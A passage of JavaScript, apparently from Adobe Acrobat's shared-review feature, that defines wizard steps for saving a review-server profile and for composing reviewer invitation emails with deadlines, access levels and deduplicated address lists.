								toLoad.aSer = AnnotsString.IDS_SHARED_REVIEW_SAVE_PROFILE_STEP_SMB_UPLOAD;

								break; 

							case AnnotsString.IDS_SHARED_REVIEW_SHAREPOINT_NAME: 

								toLoad.aSer = AnnotsString.IDS_SHARED_REVIEW_SAVE_PROFILE_STEP_SHAREPOINT_UPLOAD;

								break; 

							case AnnotsString.IDS_SHARED_REVIEW_WEBDAV_NAME: 

								toLoad.aSer = AnnotsString.IDS_SHARED_REVIEW_SAVE_PROFILE_STEP_WEBDAV_UPLOAD;

								break; 

						}

						break;

					}

					case "MANUAL":

						profileNameInitial += AnnotsString.IDS_SHARED_REVIEW_NAME_SUGGEST_MANUAL;

						toLoad.aHow = AnnotsString.IDS_SHARED_REVIEW_SAVE_PROFILE_STEP_MANUAL;

						toShow.aSer = false;

						toShow.aLnk = false;

						break

				}

				

				

				toLoad.pNam = profileNameInitial;

				toLoad.icn1 = "C_Info_Xl_N.png";

				toLoad.img1 = "C_Info_Xl_N.png";

				

				// Initialize aLnk

				var srvr = this.getServerToAdd();

				var config = this.getServerConfigToAdd();

				var aLink = AnnotsString.IDS_SHARED_REVIEW_SAVE_PROFILE_STEP_SERVER_URL;

				aLink = aLink.replace(/{cServerUrl}/, config.cSetting);

				var iLink = aLink;

				toLoad.aLnk = ANSMBURLToPlatformPath(aLink);

				this.data.aLnk = aLink;				

				

				if ((this.data.serverType != AnnotsString.IDS_SHARED_REVIEW_SHAREPOINT_NAME) || (this.data.distributionMethod != "UPLOAD"))

				{

					toShow.aMs1 = false;

					toShow.aMs2 = false;

					toShow.aMs3 = false;

					toShow.aMs4 = false;					

				}

				else

				{

					var temp = new Array();

					temp = iLink.split('/');

					var workspaceName = temp[temp.length-3];

					toLoad.aMs2 = workspaceName;



					var documentLibrary = temp[temp.length-2];

					toLoad.aMs4 = documentLibrary;

					

					temp = null;

				}

				dialog.focus("next");

				dialog.load(toLoad);

				dialog.visible(toShow);

			},

			aLnk: function(dialog)

			{

				app.launchURL(this.data.aLnk, true);				

			},			

			idle: function(dialog)

			{

				// check if the profile name is not null, enable the next button only if a name is given.

				var props = dialog.store();

				var bResult = props["pNam"].length > 0

				var toEnable = { next: bResult };



				dialog.enable(toEnable);

			},			



			commit: function(dialog, next)

			{

				if(next)

				{

					// 1. Only input from this wizard step is the name of the profile. 

					var props = dialog.store();

					var profileName = props["pNam"];

					this.data.profileName = profileName;

					

					// 2. check if the profile name already exists or not

					app.beginPriv();

					var servers = Collab.allReviewServers(this.data.reviewType);

					app.endPriv();

					

					for(var i in servers)

					{

						var srvr = servers[i];

						if(profileName == srvr.UI)

						{

							var msg = AnnotsString.IDS_SHARED_REVIEW_SERVER_PROFILE_NAME_NOT_UNIQUE.replace(/\{cServerProfileName\}/, profileName)

							app.beginPriv();

							app.alert({cMsg: msg});

							app.endPriv();

							DebugThrow ("Server Name not Unique")

						}

					}



					// 3. All the profile related details have already been entered by the user in the previous two wizard steps

					// Add the new server to the list of profiles

					if (this.data.addInternalServer || ((this.data.server != undefined && this.data.server.URL == "urn://ns.adobe.com/Collaboration/Forms/InternalServer")))

					{

						var srvr = this.getServerToAdd();

	

						// IMP NOTE: 

						// This does not work

						// this.data.server.Settings = this.getServerConfigToAdd();

						// So copy one by one

						var config = this.getServerConfigToAdd();

						

						var server = 

						{

							Settings: config,

							UI: this.data.profileName,

							URL: srvr.driverURL,

							Default: false,

							DefaultFD: false,

							DistMethod: this.data.distributionMethod,

						}

						if(this.data.reviewType == "SharedReview")

							server.Default = true;

						else

							server.DefaultFD = true;

						

						this.data.server = server;

						

						//before adding the profile check the remote file/local file

						//This shd be done if identity is present. If identity is not present, then we should first get the identity and then do this. 

						if(ANValidateIdentity())

							DistributionServerStepCommitWork(this.data);

							

						app.beginPriv();

						Collab.addReviewServer(server.URL, server.UI, config, this.data.distributionMethod );

						app.endPriv();

						

						app.beginPriv();

						Collab.setDefaultReviewServer(server.URL, server.UI, this.data.reviewType);

						app.endPriv();

					}

				}

			},

			

			getServerToAdd: function()

			{

				for (var i in this.data.servers)

				{

					if (this.data.servers[i].initiatorName == this.data.serverType)

						return this.data.servers[i];

				}

				

				DebugThrow ("ServerType is not set");

			},



			getServerConfigToAdd: function()

			{

				switch (this.data.serverType)

				{

					case AnnotsString.IDS_SHARED_REVIEW_SMB_NAME:

					{

						return this.data.smb.oConfig;							

						break;

					}

					case AnnotsString.IDS_SHARED_REVIEW_SHAREPOINT_NAME:

					{

						return this.data.sharepoint.oConfig;

						break;

					}

					case AnnotsString.IDS_SHARED_REVIEW_WEBDAV_NAME:

					{

						return this.data.webdav.oConfig;

						break;							

					} 

				}

			},



			description: 

			[

				{

					type:"view",

					width: Collab.wizardWidth,

					height: Collab.wizardHeight,

					margin_height: Collab.marginHeight,

					margin_width: Collab.wizardMarginWidth, 

					align_children: "align_left",

					elements:

					[

						{

							type: "gap",

							height: 10,

						},

						{

							type: "static_text",

							name: AnnotsString.IDS_SHARED_REVIEW_SAVE_PROFILE_STEP_SERVER_PROFILE,

							alignment: "align_fill",

							bold: true,

							font: "dialog"

						},

						{

							type: "edit_text",

							item_id: "pNam",

							alignment: "align_fill",

						},

						{

							type: "gap",

							height: 10,

						},

						{

							type: "view",

							align_children: "align_left",

							alignment: "align_fill",

							elements:

							[

								{

									type: "static_text",

									name: AnnotsString.IDS_SHARED_REVIEW_SAVE_PROFILE_STEP_CONF_SUMMARY,

									alignment: "align_fill",

									bold: true,

									font: "dialog"

								},

								{

									type: "static_text",

									name: AnnotsString.IDS_SHARED_REVIEW_SAVE_PROFILE_STEP_UPLOAD,

									alignment: "align_fill",

									item_id: "aHow",

								},

								{

									type: "static_text",

									name: AnnotsString.IDS_SHARED_REVIEW_SAVE_PROFILE_STEP_SHAREPOINT_UPLOAD,

									alignment: "align_fill",

									item_id: "aSer",

								},

								{

									type: "link_text",

									name: AnnotsString.IDS_SHARED_REVIEW_SAVE_PROFILE_STEP_SERVER_URL,

									alignment: "align_fill",

									item_id: "aLnk",

									truncate: "truncate_end",

								},

								{

									type: "view",

									align_children: "align_row",

									alignment: "align_fill",

									elements:

									[

										{

											type: "static_text",

											name: AnnotsString.IDS_SHARED_REVIEW_SAVE_PROFILE_STEP_WORKSPACE_NAME,

											item_id: "aMs1",

										},

										{

											type: "static_text",

											item_id: "aMs2",

											alignment: "align_fill",

										},

									]

								},

								{

									type: "view",

									align_children: "align_row",

									alignment: "align_fill",

									elements:

									[

										{

											type: "static_text",

											name: AnnotsString.IDS_SHARED_REVIEW_SAVE_PROFILE_STEP_DOCUMENT_LIBRARY,

											item_id: "aMs3",

										},

										{

											type: "static_text",

											item_id: "aMs4",

											alignment: "align_fill",

										},

									]

								},

							]

						},

						{

							type: "gap",

							height: 20,

						},

						{

							type: "static_text",

							name: "",

							alignment: "align_fill",

							separator: 1,

						},

						{

							type: "view",

							align_children: "align_top",

							elements:

							[

								{

									type: "gap",

									width: 20,

								},

								{

									type: "image",

									item_id:"img1",

									width: 32,

									height: 32

								},

								{

									type: "view",

									align_children: "align_left",

									elements:

									[

										{

											type: "static_text",

											name: AnnotsString.IDS_SHARED_REVIEW_SAVE_PROFILE_STEP_TIP_DESCRIPTION,

											item_id: "des1",

											alignment: "align_fill",

											wrap_name: true,

											width: 420,

										},

									]

								}

							]

						}

					]

				}

			]

		};



		app.beginPriv();

		description = ANTrustPropagateAll(description);

		app.endPriv();

		

		return description;

	}



	// This utility function returns the updated newRequired and newOptional reviewers list.

	// Filtering is done to remove any address already present in old lists.

	// Also if address is present in both newRequired and newOptional , it will be removed from newOptional

	// To sum up, formulas for filtering are:

    // newReqR = (newReqR) - (oldReqR Union oldOptR) - initiatorEmail

    // newOptR = (newOptR) - (oldReqR Union oldOptR) - (newReqR) - initiatorEmail

   // function CBRunSimpleWizNew(wizard, startStepNum, endStepNum, data)

	function filterAddrs(oldReqR, oldOptR, initiatorEmail, newReqR, newOptR)

	{

		var resultVec1 = [];

		var resultVec2 = [];

		var i,j,k,l = 0;		

		i=j=k=l=0;

		for(i in newReqR)

		{

			l = oldReqR.length > oldOptR.length ? oldReqR.length : oldOptR.length; 

			for (k = 0; k < l; k++)

			{			

				if(k < oldOptR.length && newReqR[i] == oldOptR[k])

					break;

				if(k < oldReqR.length && newReqR[i] == oldReqR[k])

					break;					

			}

			if(k == l && newReqR[i] != initiatorEmail)

			{

				resultVec1[j++] = newReqR[i];

			}

		}

		//newReqR = resultVec1;

		for(i in resultVec1)

		{

			newReqR[i] = resultVec1[i];

		}

		newReqR.length = resultVec1.length;



		j = 0;

		

		for(i in newOptR)

		{

			l = oldReqR.length > oldOptR.length ? (oldReqR.length > newReqR.length ? oldReqR.length : newReqR.length) : (oldOptR.length > newReqR.length ? oldOptR.length : newReqR.length); 

			for (k = 0; k < l; k++)

			{			

				if(k < oldOptR.length && newOptR[i] == oldOptR[k])

					break;

				if(k < oldReqR.length && newOptR[i] == oldReqR[k])

					break;					

				if(k < newReqR.length && newOptR[i] == newReqR[k])

					break;					

			}

			if(k == l && newOptR[i] != initiatorEmail)

			{

				resultVec2[j++] = newOptR[i];

			}

		}

		//newOptR = resultVec2;

		for(i in resultVec2)

		{

			newOptR[i] = resultVec2[i];

		}

		newOptR.length = resultVec2.length;

		

		DebugAlert("new req r " + newReqR);

		DebugAlert("new opt r " + newOptR);				

	}

	

	var deadlineDate = AnnotsString.IDS_SHARED_REVIEW_EMAIL_STEP_NODEADLINE;

	

	var internalDeadlineDate = "";

	

	var objectDeadlineDate = new Date();

	

	function setDateAndTime  (newExternalDate, newInternalDate)

	{	

		internalDeadlineDate = newInternalDate;

        if(internalDeadlineDate == "")

            deadlineDate = AnnotsString.IDS_SHARED_REVIEW_EMAIL_STEP_NODEADLINE;

        else    	    

		    deadlineDate = newExternalDate;

	}

	



	IWEmailStepDescription = function(reviewType)

	{

		var accessLevels = {};

		

		var description = 

		{

			initialize: function(dialog)

			{

				var toLoad = {};

				var toEnable = {};

				var toShow = {};

				

				if(!this.data.reqR) 

					this.data.reqR = [];

				

				if(!this.data.optR)

					this.data.optR = [];

				// Initialize the "To" and "CC" fields

				if(this.data.reviewType == "FormDistributionEmail" || this.data.reviewType == "SharedReviewEmail")

				{

						toEnable.acl1 = false;

						toShow.prev = false;

				}

				

				// UI changes related to deadline

				if(this.data.reviewType == "ShareFile")

				{

					//disable the deadline button

					//DebugAlert("disabling deadline buttons");

					toShow = {dlnk: false, dydt:false};

				}

				

				//Delivery method

				{

					this.data.deliveryMethodLinkClicked = false;

					if(this.data.reviewType == "SharedReview"|| this.data.reviewType == "FormDistribution")

					{

						toShow.dlvS = true;

						toShow.dlvL = true;

						toLoad.dlvS = this.data.server.UI;

						//correct the delivery method in case of email attachment manually send case

						if(this.data.server.UI == AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTE_STEP_EMAIL && this.data.distributionMethod == "MANUAL")

						{

							toLoad.dlvS = AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTE_STEP_EMAIL + AnnotsString.IDS_SHARED_REVIEW_NAME_SUGGEST_MANUAL;

						}

						else if (this.data.server.UI == SharedString("IDS_SHARED_REVIEW_SERVER_DOC_CENTER_DETAIL"+WT))

						{

							toLoad.dlvS = AnnotsString.IDS_TRACKER_ACROBAT_DOT_COM;

						}

					}

					else

					{

						toShow.dlvS = false;

						toShow.dlvL = false;

					}

				}

		

			    if (this.data.reviewType == "SharedReview")

				{

					if (this.data.deadlineIsSet == undefined)

					{

					    app.beginPriv();

					    var defaultDate = Collab.getDefaultDateAndTime();

					    app.endPriv();

				    	deadlineDate = defaultDate.externalDate;

			            internalDeadlineDate = defaultDate.internalDate;

			            var year = parseInt(internalDeadlineDate.substr(2, 4), 10);

						var month = parseInt(internalDeadlineDate.substr(6, 2), 10);

						var day = parseInt(internalDeadlineDate.substr(8, 2), 10);

						var hours = parseInt(internalDeadlineDate.substr(10, 2), 10);

						var minutes = parseInt(internalDeadlineDate.substr(12, 2), 10);

						var seconds = parseInt(internalDeadlineDate.substr(14, 2), 10); 

						objectDeadlineDate.setUTCFullYear(year, month-1, day);

						objectDeadlineDate.setUTCHours(hours, minutes, seconds);

						this.data.deadlineIsSet = true;

				    }

			        toLoad.dydt = deadlineDate;

				}

				else

				if(this.data.reviewType == "SharedReviewEmail" )

				{

                    if(this.data.internalDeadline == "")

                        this.data.deadline = AnnotsString.IDS_SHARED_REVIEW_EMAIL_STEP_NODEADLINE;

					toLoad.dydt = this.data.deadline;

					deadlineDate = this.data.deadline;

					internalDeadlineDate = this.data.internalDeadline;

				} 





				if(this.data.reviewType == "SharedReviewEmail" && this.data.action == "AddReviewers")

				{

					toEnable.dlnk = false;

					toEnable.dydt = false;

				}

				

				if(this.data.reviewType == "SharedReviewEmail" && this.data.action == "ChangeDeadline")

				{

					toEnable.mesg = false;

					toEnable.subj = false;

					toEnable.pLnk = false;

				}

				

				//Allow Anonymous checkbox should only be visible in case of FD

				if(this.data.reviewType == "FormDistribution")

				{

					toShow.anny = true;

					toLoad.anny = true; 

				}

				else

				{

					toShow.anny = false;

				}



				this.updateAddrs(dialog, true);

                toShow.ertc = false;



				//Do we need to display the ACL or not 

				if (this.data.UseDocumentCenter == true)

				{

				    toShow.sAcl = true;

					toShow.pAcl = true;

    					

				    if(this.data.action == "AddReviewers" || this.data.action == "ChangeDeadline")

					{

					    toEnable.sAcl = false;

					    toEnable.pAcl = false;

					    if(this.data.accessLevel == "Restricted")

					    {

					        accessLevels[SharedString("IDS_SHARED_REVIEW_DOC_CENTER_OPEN_ACCESS" + WT)] = -1;

					        accessLevels[SharedString("IDS_SHARED_REVIEW_DOC_CENTER_LIMIT_ACCESS" + WT)] = 2;

					    }

					    else

					    {

					        accessLevels[SharedString("IDS_SHARED_REVIEW_DOC_CENTER_OPEN_ACCESS" + WT)] = 1;

					        accessLevels[SharedString("IDS_SHARED_REVIEW_DOC_CENTER_LIMIT_ACCESS" + WT)] = -2;

					    }    

					}

					else

					{

					    accessLevels[SharedString("IDS_SHARED_REVIEW_DOC_CENTER_OPEN_ACCESS" + WT)] = 1;

					    accessLevels[SharedString("IDS_SHARED_REVIEW_DOC_CENTER_LIMIT_ACCESS" + WT)] = -2;

				    }   

				    toLoad.pAcl = accessLevels;

				}

				else

				{

					toShow.sAcl = false;

					toShow.pAcl = false;

				}

				

				// Initialize the "Subject" and the "Message Body"

				{ 

					//TODO: dikumar: The below code is to customize and initialize the email message. 

					// This is different for different review types

					if ((this.data.reviewType == "SharedReview") 

						|| (this.data.reviewType == "FormDistribution")

					 	|| (this.data.reviewType == "SharedReviewEmail" && this.data.action == "AddReviewers") 

					 	|| (this.data.reviewType == "FormDistributionEmail"))

					{

						this.cannedSubj = this.data.cannedSubj;

						this.cannedMsg = this.data.cannedMsg;

		

						var temp = "";

						if(this.data.docPath)

							temp = this.data.docPath.match(/[^\/]*$/);

	

						var docName = (this.data.doc && this.data.doc.documentFileName) ? this.data.doc.documentFileName : temp;

		

						if (app.platform == "WIN" && docName != "")

						{

							docName = docName.substring(docName.lastIndexOf('\\') + 1); //Bug #1046690. Remove the path info if any, from the filename

						}

						else if (app.platform == "MAC" && docName != "")

						{

							// we have the same problem on the mac as windows.  I suspect that what happened here is that

							// we are mixed up throughout the code about whether we are passing di paths or platform

							// paths, so sometimes we end up in this case with document name trimmed, and sometimes

							// we end up with document name in a fully qualified path.  I'd much rather assume that

							// the path is one or the other, do the conversion and trim it (or assume that it was

							// passed to us already trimmed), but there are many entry points to this code and

							// it's lower risk late in the game for Atlas to simply do the same hack we're already

							// doing on windows.  At some point, the use of paths in this file should be 

							// unified.

							docName = docName.substring(docName.lastIndexOf(':') + 1);

						}

						

						var bNameHasPercentEncoding = false;

						var decodedDocName = "";

						if (docName.indexOf('%') != -1 && this.data.decodedURL && (typeof this.data.decodedURL == "string"))

						{

							bNameHasPercentEncoding = true;

							decodedDocName = this.data.decodedURL.substring(this.data.decodedURL.lastIndexOf('/') + 1);

						}



						if(!this.data.msg || this.data.msgChanged)

						{

							if (bNameHasPercentEncoding)

								this.data.msg = this.cannedMsg.replace(/%docname%/g, decodedDocName + " (" + docName + ")");

							else

								this.data.msg = this.cannedMsg.replace(/%docname%/g, docName);

						}

						

						

						if(!this.data.subj || this.data.msgChanged)

						{

							if (bNameHasPercentEncoding)

								this.data.subj = this.cannedSubj.replace(/%docname%/, decodedDocName);

							else

								this.data.subj = this.cannedSubj.replace(/%docname%/, docName);

						}

						this.data.msgChanged = false;

						this.data.subj = this.data.cannedSubj.replace(/%docname%/, (this.data.cDocumentName));

						// ------------------------------------------------------------------------------

					}

	                    

					if ((this.data.reviewType == "SharedReview") 

						|| (this.data.reviewType == "FormDistribution")

					 	|| (this.data.reviewType == "SharedReviewEmail" && this.data.action == "AddReviewers") 

					 	|| (this.data.reviewType == "FormDistributionEmail")

					 	|| (this.data.reviewType == "ShareFile" ))

					{

	                    //Updating the message here

	                    //1. First check for the previous message (the user may edit and then press previous.)

	                    //2. Check for customMessage

	                    //3. If undefined, the use default message. 



	                    //1. First check for the previous message (the user may edit and then click press previous.) 

	                    // We are not storing the previous message in all the cases

					    //2. Check for customMessage 



					    {

	                    	app.beginPriv();

	                    	var customMessage = Collab.getCustomEmailMessage(this.data.distributionMethod, this.data.reviewType, this.data.UseDocumentCenter);

	                    	app.endPriv();

	                    	

	                    	this.data.msg = customMessage;

	                    }

	                    

	                    //3. If undefined, the use default message.

	                    if (this.data.msg == undefined)

	                    {

                        	this.data.msg = this.getDefaultEmailMessage();

	                    }

	                    

	                    this.data.msg = this.replaceParamsByValues(this.data.msg);

	                    if (this.data.distributionMethod == "MANUAL")

	                    {

	                    	if(this.data.reviewType == "SharedReview" || this.data.reviewType == "SharedReviewEmail")

	                    	{

		                    	this.data.msg = "";

		                    	

		                    	toShow.pLnk = false;

		                    	toShow.icon = false;

		                    	toShow.attm = false;

		                    	toShow.aDoc = false;

		                    	

		                    	toEnable.sSub = false;

		                    	toEnable.subj = false;	                    	

		                    	toEnable.sMsg = false;

		                    	toEnable.mesg = false;

	                    	}

	                    	else if(this.data.reviewType == "FormDistribution")

	                    	{

		                    	this.data.msg = "";

		                    	

		                    	toShow.addr = false;

		                    	toShow.reqR = false;

		                    			                    	

		                    	toShow.pLnk = false;

		                    	toShow.icon = false;

		                    	toShow.attm = false;

		                    	toShow.aDoc = false;

		                    	

		                    	toShow.sSub = false;

		                    	toShow.subj = false;	                    	

		                    	toShow.sMsg = false;

		                    	toShow.mesg = false;

	                    	}

	                    }

	                    

	                    if (this.data.reviewType == "ShareFile")

	                    {

	                    	this.data.subj = this.getShareFileSubject();



							app.beginPriv();

	                    	var username = this.data.swConn.getFullName()

	                    	app.endPriv();

	                    	

							this.data.subj = this.data.subj.replace(/%username%/,username);

	                    }

						if ((this.data.distributionMethod == "UPLOAD") && (this.data.UseDocumentCenter == true))

						{

							if (this.data.reviewType == "ShareFile")

								this.data.msg = this.data.msg + AnnotsString.IDS_SHARE_FILE_PREVIEW_EMAIL_ADDON;

							else

								this.data.msg = this.data.msg + AnnotsString.IDS_SHARED_REVIEW_PREVIEW_INVITE_DC_EMAIL_ADDON

						}

						this.data.msgChanged = false; // Do this so the Email preview doesn't whack our invite



					}

					if(this.data.reviewType == "SharedReviewEmail" && this.data.action == "ChangeDeadline")

					{

						this.data.msg = "";

						this.data.subj = "";

					}

					// ------------------------------------------------------------------------------					

					

					toLoad.mesg = this.data.msg;

					toLoad.subj = this.data.subj;

				}//End of {The following code snippet is to update the subject and the message body}

				

				// focus on the "Address Book" button

				dialog.focus("addr");

				toEnable.addr =  app.addressBookAvailable;

				

				// Following code to update/show the attachment icon and text 

				{ 

						if ((this.data.distributionMethod == "UPLOAD") || (this.data.UseDocumentCenter == true ) 

					 || (this.data.reviewType == "SharedReviewEmail" && this.data.action == "ChangeDeadline" && this.data.sendAttachment != true))

					{

						toShow.attm  = false;

						toShow.aDoc = false;

					}

					else //EMAIL and MANUAL cases

					{

						app.beginPriv();

						var aPath = Collab.convertDIPathToPlatformPath(this.data.cDocumentPath);

						app.endPriv();

						

						toLoad.aDoc = aPath;

						toLoad.icon = "A_Attachments_Sm_N.png";//file_search.png";

					} 

				}

				// raddr = return address book (fetch it)

				app.beginPriv();

				if(!this.data.raddr)

					this.data.raddr = identity.email;

				app.endPriv();

				

				if (this.data.distributionMethod != "MANUAL")

					toLoad.next = AnnotsString.IDS_SEND;



				// load the stuff

				dialog.load(toLoad);

				dialog.enable(toEnable);

				dialog.visible(toShow);

			},

			

			getDefaultEmailMessage: function()

			{

				if (this.data.reviewType == "ShareFile")

				{

					return this.getShareFileMessage();

				}

				else

				{

					DebugAlert("WT1" + WT + " * " + this.data.action);

					switch(this.data.distributionMethod)

					{

						case "UPLOAD":

							{

								var msg  = (SharedString("IDS_SHARED_REVIEW_PREVIEW_INVITE_LINK_EMAIL" + this.data.UB + WT));

								if (this.data.UseDocumentCenter)

								{

									msg = (SharedString("IDS_SHARED_REVIEW_PREVIEW_INVITE_DC_EMAIL" + this.data.UB + WT));

								}

								else

								{

									msg = msg.replace(/%reader_version%/, AnnotsString.IDS_SHARED_REVIEW_READER_VERSION_8);

									msg = msg.replace(/%acrobat_version%/, AnnotsString.IDS_SHARED_REVIEW_ACROBAT_VERSION_8);

								}

								return msg;

							}

						case "MANUAL":

							return "";

						

						case "EMAIL":

						

						default:	

							return (SharedString("IDS_SHARED_REVIEW_PREVIEW_INVITE_ATTACHED_EMAIL" + this.data.UB + WT));

					}

				}

			},

			getShareFileMessage: function()

			{

				var msg = AnnotsString.IDS_SHARE_FILE_PREVIEW_EMAIL;

				return msg;

			},

			getShareFileSubject: function()

			{

				var subj = AnnotsString.IDS_SHARE_FILE_SUBJECT_EMAIL;

				return subj;

			},

			getDeadlineMessage: function()

			{

				var msg;

				if(deadlineDate == AnnotsString.IDS_SHARED_REVIEW_EMAIL_STEP_NODEADLINE)

				{

				

				   	msg = AnnotsString.IDS_SHARED_REVIEW_PREVIEW_REMOVE_DEADLINE_ATTACHED_EMAIL_SR;

				   	msg = msg.replace(/%docname%/, (this.data.cDocumentName));

			   }

			   else

			   if(this.data.deadline == AnnotsString.IDS_SHARED_REVIEW_EMAIL_STEP_NODEADLINE)

			   {

			           msg = AnnotsString.IDS_SHARED_REVIEW_PREVIEW_ADD_DEADLINE_ATTACHED_EMAIL_SR;

			           msg = msg.replace(/%docname%/, (this.data.cDocumentName));

			           msg = msg.replace(/%newdeadline%/, deadlineDate);

			   }

			   else

			   {

				   	msg = AnnotsString.IDS_SHARED_REVIEW_PREVIEW_CHANGE_DEADLINE_ATTACHED_EMAIL_SR;

				   	msg = msg.replace(/%docname%/, (this.data.cDocumentName));

				   	msg = msg.replace(/%olddeadline%/, this.data.deadline);

				   	msg = msg.replace(/%newdeadline%/, deadlineDate);

			   }



				var info;

				if (this.data.distributionMethod == "EMAIL")

				    info = AnnotsString.IDS_SHARED_REVIEW_PREVIEW_CHANGE_DEADLINE_ATTACHED_CLICK_SR;

				else if (this.data.distributionMethod == "UPLOAD") {

				    info = AnnotsString.IDS_SHARED_REVIEW_PREVIEW_CHANGE_DEADLINE_ATTACHED_UPLOAD_SR;

				    info = info.replace(/%review_url%/, ANSMBURLToPlatformPath(this.data.distributionURL));

				}



				return (msg + "\n\n" + info);

			},

			getDeadlineSubject: function()

			{

				var subj = AnnotsString.IDS_SHARED_REVIEW_PREVIEW_ADD_DEADLINE_SUBJ_SR;;

				subj = subj.replace(/%docname%/, (this.data.cDocumentName));

				return subj;

			},

			



			replaceParamsByValues: function(str)

			{

				switch(this.data.distributionMethod)

				{

					case "UPLOAD":

						if ((this.data.reviewType == "SharedReview") || (this.data.reviewType == "SharedReviewEmail")

							|| (this.data.reviewType == "FormDistribution") || (this.data.reviewType == "FormDistributionEmail") )

						{

							var tempURL;

								//fix for bug 1512778

							if (this.data.server.URL == "urn://ns.adobe.com/Collaboration/SharedReview/SMB")

							    tempURL = ANSMBURLToPlatformPath(this.data.distributionURL)

							else if (this.data.server.URL == "urn://ns.adobe.com/Collaboration/SharedReview/Sharepoint") // Fix for bug4166369 : As we already have an encoded URL in case of SharePoint, no need to encode it again.

							    tempURL = this.data.distributionURL;

							else

							    tempURL = encodeURI(this.data.distributionURL);

							while(str.indexOf("%review_url%") != -1)						

								str = str.replace(/%review_url%/, tempURL);

							while(str.indexOf("%docname%") != -1)

								str = str.replace(/%docname%/, this.data.cDocumentName);

						}

						break;



					case "MANUAL":

						break;



					default:

					case "EMAIL":

						while(str.indexOf("%docname%") != -1)

							str = str.replace(/%docname%/, this.data.cDocumentName);

						break;

				}		  	

				return str;

			},



			getSelectedItemText: function(id)

			{

				var o = this.dialog.store()[id];



				for(var i in o)

				{

					if(o[i] > 0)

						return i;

				}

				return "";

			},

			



			// These are utility functions for manipulating/display of email addresses

			splitAddrs: function(addrs)

			{

				var resultVec = [];

				if(addrs == undefined) return resultVec;

				

				var addrVec = addrs.split(/\;|\n|\r\n|\r/);

				var j = 0;

				

				for(var i in addrVec)

				{

					var addr = addrVec[i].replace(/^\s*(\S(?:.*\S)?)\s*$/, "$1");

					

					if(addr)

						resultVec[j++] = addr;

				}

				

				return resultVec;

			},



			joinAddrs: function(addrs)

			{

				return addrs.join(";");

				//return addrs.join("\n");

			},



			updateAddrs: function(dialog, dataIn)

			{

				// load from or to the dialog?

				if(dataIn)

				{

					// load the value into the dialog

					var tempoptR;

					

					if(this.data.reviewType != "FormDistribution" && this.data.reviewType != "FormDistributionEmail") 

						tempoptR = this.joinAddrs(this.data.optR);

					else 

						tempoptR = "";

					

					var p = 

					{

						reqR: this.joinAddrs(this.data.reqR),

						optR: tempoptR,

					};

					dialog.load(p);

				}

				else

				{

					// split out the addresses to store

					var p = dialog.store();

					this.data.reqR = this.splitAddrs(p.reqR);

					if(this.data.reviewType != "FormDistribution" && this.data.reviewType != "FormDistributionEmail")

						this.data.optR = this.splitAddrs(p.optR);

				}

			},





			removeDuplicateEmailAddressesAcrossLists: function(firstList, secondList)

			{

				// firstList - read only list

				// secondList - list from which the addrs would be checked and removed if required



				var newList = ";";



				firstList = ";" + firstList + ";";



				var addrs = secondList.split(/;/g);

				for(var i in addrs)

				{

					var addr = addrs[i];

					if(firstList.match(";" + addr + ";") == null)

						newList = newList + addr + ";";

				}

				var len = newList.length;

				return newList.substr(1, len - 2);

			},



			removeDuplicateEmailAddressesInList: function(addrList)	

			{

				// Here newList would be created. Intially it would have

				// semicolons both at front and end to help in searching.

				// At the end of loop, we will remove them.



				var newList = ";";

				var addrs = addrList.split(/;/g);

				for(var i in addrs)

				{

					var addr = addrs[i];

					if(newList.match(";" + addr + ";") == null)

						newList = newList + addr + ";";

				}

				var len = newList.length;

				return newList.substr(1, len - 2);

			},



			removeDuplicateEmailAddresses: function(lists)

			{

				lists.toList = this.removeDuplicateEmailAddressesInList(lists.toList);	

				lists.ccList = this.removeDuplicateEmailAddressesInList(lists.ccList);	

				lists.bccList = this.removeDuplicateEmailAddressesInList(lists.bccList);	



				lists.bccList = this.removeDuplicateEmailAddressesAcrossLists(lists.ccList, lists.bccList);

				lists.ccList = this.removeDuplicateEmailAddressesAcrossLists(lists.toList, lists.ccList);

			},



			emailListsMatch: function (firstList, secondList)

			{

				var firstArray = this.splitAddrs(firstList);

				var secondArray = this.splitAddrs(secondList);



				var firstSortedList = firstArray.sort().join(";");

				var secondSortedList = secondArray.sort().join(";");



				return (firstSortedList == secondSortedList);

			},



			allEmailAddrsValid: function (addrArray)

			{

			    var invalidIDs = "";

				for(var i in addrArray)

				{

					var addr = addrArray[i];

					if(!CBIsValidEmail(addr))

					{

					    if(invalidIDs != "")

					        invalidIDs = invalidIDs + ", ";

					    invalidIDs = invalidIDs + addr;

					}

				}

				return invalidIDs;

			},



			resolveAddrs: function(dialog)

			{

					/*var bResolveHappened = false;*/



					var props =

					{

						bUI: false,

						cTo: this.data.reqR.join(";"),

						cCc: this.data.optR.join(";"),

						cSubject: this.data.subj,

						cMsg: this.data.msg,

						bNoError: true,

					};

					  

					if(this.data.reviewType == "FormDistribution")

                    {

                        dialog.enable({next: false});

                        props.bShowProgress = true;

                        props.cProgressMessage = AnnotsString.IDS_GEN_STATUS_RESOLVING;

                    }



                    var distMethodIsShare = this.data.UseDocumentCenter;

                    

                    if ((this.data.distributionMethod == "MANUAL") || distMethodIsShare)

                           props.bNoError = true;

                    

					app.beginPriv();

                    try

                    {    

						var resolvedEmailList = app.getResolvedAddresses(props);

                    }

                    catch(e)

                    {

                    	DebugThrow("Throw: Sendmail");

                    }

					app.endPriv();



					var emailCategories = resolvedEmailList.split(/&/g);



					var finalLists =

					{

						toList: emailCategories[0].substr(3),

						ccList: emailCategories[1].substr(3),

						bccList: emailCategories[2].substr(4),

					};



					this.removeDuplicateEmailAddresses(finalLists);



					

			/*		if(!this.emailListsMatch(props.cTo, finalLists.toList)  || 

						!this.emailListsMatch(props.cCc, finalLists.ccList))

					{

						bResolveHappened = true;

					}

					



					if(bResolveHappened)

					{

						this.data.reqR = this.splitAddrs(finalLists.toList);

						this.data.optR = this.splitAddrs(finalLists.ccList);

						this.updateAddrs(dialog, true);

						DebugThrow("The email addresses got resolved. So try again.");

					}

					else

					{	*/

				    var invalidIDsReq = "";

				    var invalidIDsOpt = "";

					this.data.reqR = this.splitAddrs(finalLists.toList);

					this.data.optR = this.splitAddrs(finalLists.ccList);

					this.updateAddrs(dialog, true);

					invalidIDsReq = this.allEmailAddrsValid(this.data.reqR);

					invalidIDsOpt = this.allEmailAddrsValid(this.data.optR);

					if(invalidIDsReq != "" || invalidIDsOpt != "")

					{

					    if(invalidIDsReq != "" && invalidIDsOpt != "")

					        invalidIDsReq = invalidIDsReq + ", ";

